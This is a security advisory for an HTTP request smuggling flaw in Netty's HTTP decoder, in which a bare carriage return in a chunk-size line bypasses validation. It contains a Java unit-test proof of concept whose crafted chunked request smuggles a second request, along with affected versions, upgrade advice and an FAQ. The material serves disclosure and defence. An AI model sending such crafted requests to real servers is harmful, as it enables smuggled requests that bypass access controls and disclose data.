CVE-2026-93566: Io.netty/netty-codec-http: netty: http request smuggling due to control characters in the chunk-size line
A flaw was found in Netty. A remote attacker could exploit this by sending a specially crafted HTTP request that includes control characters within the chunk-size line. This bypasses the intended strict validation, allowing the attacker to inject arbitrary HTTP requests. This vulnerability can lead to HTTP request smuggling, potentially resulting in information disclosure or other unauthorized actions.
Other sources
HTTP Request Smuggling due to control characters in the chunk-size line
A public GitHub Security Advisory (GHSA-rq4j-fc47-9698) describes the following issue:
Summary Netty skips strict chunk size line validation when the line has no chunk extension (;), so a chunk size line containing an embedded bare CR (e.g. 0\rX) is accepted instead of rejected, enabling HTTP request smuggling.
Details io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions only runs the strict validator HttpChunkLineValidatingByteProcessor when a ; is present:
java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) { return; }
According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A
chunk-size = 1HEXDIG
PoC
java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));
// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();
// Request 2 (smuggled) request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertEquals("/smuggled", request.uri()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }
Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Affected: - maven:io.netty:netty-codec-http affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http affected <=4.1.137.Final; fixed unknown
Fixed versions: see advisory
Advisory: https://github.com/netty/netty/security/advisories/GHSA-rq4j-fc47-9698
— Red Hat
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Patch GHSA-rq4j-fc47-9698
Event History
Frequently Asked Questions
What traffic and deployment conditions make this exploitable?
An attacker must be able to send an HTTP request using chunked transfer encoding to a component that uses Netty's HTTP decoder. The malformed chunk-size line must contain an embedded bare carriage return and no chunk extension delimiter (`;`), such as `0\rX`.
Is authentication or user interaction required?
No. The supplied severity vector specifies network access, low attack complexity, no privileges required, and no user interaction.
What is the security impact described by the available data?
The issue enables HTTP request smuggling. The supplied vector rates confidentiality and integrity impact as low and availability impact as none.
How can I check whether a decoder accepts the malformed input?
Test the HTTP request parsing path with a chunked request whose chunk-size line contains a bare CR without a semicolon, for example `0\rX\r\n`. Acceptance of that line rather than rejection indicates the affected validation behavior.